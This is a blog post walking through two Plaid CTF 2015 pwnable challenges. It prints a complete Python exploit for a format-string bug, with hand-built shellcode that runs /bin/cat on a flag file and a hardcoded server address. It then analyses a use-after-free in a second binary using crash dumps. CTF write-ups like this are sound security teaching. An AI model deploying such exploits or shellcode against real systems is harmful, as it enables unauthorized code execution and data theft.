Wednesday, April 22, 2015

Plaid CTF 2015 - Pwnables - EBP Solution and ProdManager Analysis

EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call
.text:08048557                 mov     eax, ds:stdin@@GLIBC_2_0
.text:0804855C                 mov     [esp+8], eax    ; stream
.text:08048560                 mov     dword ptr [esp+4], 1024 ; n
.text:08048568                 mov     dword ptr [esp], offset buf ; s
.text:0804856F                 call    _fgets

.text:08048503                 mov     dword ptr [esp+8], offset buf ; format
.text:0804850B                 mov     dword ptr [esp+4], 1024 ; maxlen
.text:08048513                 mov     dword ptr [esp], offset response ; s
.text:0804851A                 call    _snprintf
The format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write

So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.

But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit

#!/usr/bin/env python

import sys
import time
import socket
import struct
import telnetlib

ip = '127.0.0.1'
ip = '52.6.64.173'
port = 4545

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

def push(string):
    
    length = len(string)
    if (length % 4) != 0:
        string = '/' * (4 - (length % 4)) + string

    pushop = chr(0x68)
    payload = ''
    for i in range(0, len(string), 4):
        sub = string[i:i+4]
        payload = (pushop + sub) + payload
    return payload

shellcode = ("\x31\xc0\x50" +
            push("/home/problem/flag.txt") + 
            "\x89\xE7\x50" +
            push("/bin/cat") +
            "\x89\xe3"+
            "\x50\x57" +
            "\x53\x89\xE1\x89\xc2\xb0\x0b"+
            "\xcd\x80\x31\xc0\x40\xcd\x80")

fmt_len = 16
fake_ebp = 0x0804A080 + fmt_len 
fake_eip = fake_ebp + 8

payload  = "%." + str(fake_ebp) + "u%4$n" 
payload += struct.pack("<I", fake_ebp+200) # fake_ebp
payload += struct.pack("<I", fake_eip)     # controlled eip
payload += shellcode

print "[*] Sending format string payload"
soc.send(payload + chr(0xa))

print "[*] Half close socket to trigger payload"
soc.shutdown(socket.SHUT_WR)

print "[*] Waiting for data"
s = telnetlib.Telnet()
s.sock = soc
f = s.read_all().split(chr(0xa))[1]
print f

Flag for the challenge is who_needs_stack_control_anyway?

ProdManager - Use After free

prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.

The binary reads flag file into memory and provides the following options:
Menu options:
1) Create a new product 
2) Remove a product 
3) Add a product to the lowest price manager 
4) See and remove lowest 3 products in manager 
5) Create a profile (Not complete yet)
Input:
Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using data structure recovery tool
$ pin -t obj-ia32/structtrace.so -- programs/prodmanager
$ python structgraph.py --filename StructTrace --bss --relink --nullwrite 
Below is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.



struct node
{
    int price;
    struct node *next;
    struct node *prev;
    int a;
    int b;
    int c;
    char name[50];
};
Creating 3 products and adding it to lowest price manager leaves us with this.



We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
struct node
{
    int price;
    struct node *next;
    struct node *prev;
    struct node *a;
    struct node *b;
    struct node *c;
    char name[50];
};
The use-after-free vulnerability

Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager

Setting MALLOC_PERTURB_=204, this is what we get
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xcccccccc 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 --> 0xcccccccc 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 ('A' , "\n")
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX points to 0x41414141
Used chunks of memory on heap
-----------------------------
     0: 0x0804d008 -> 0x0804d057       80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......|
     1: 0x0804d058 -> 0x0804d0a7       80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......|
     2: 0x0804d0a8 -> 0x0804d0f7       80 bytes   C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is here

No comments :

Post a Comment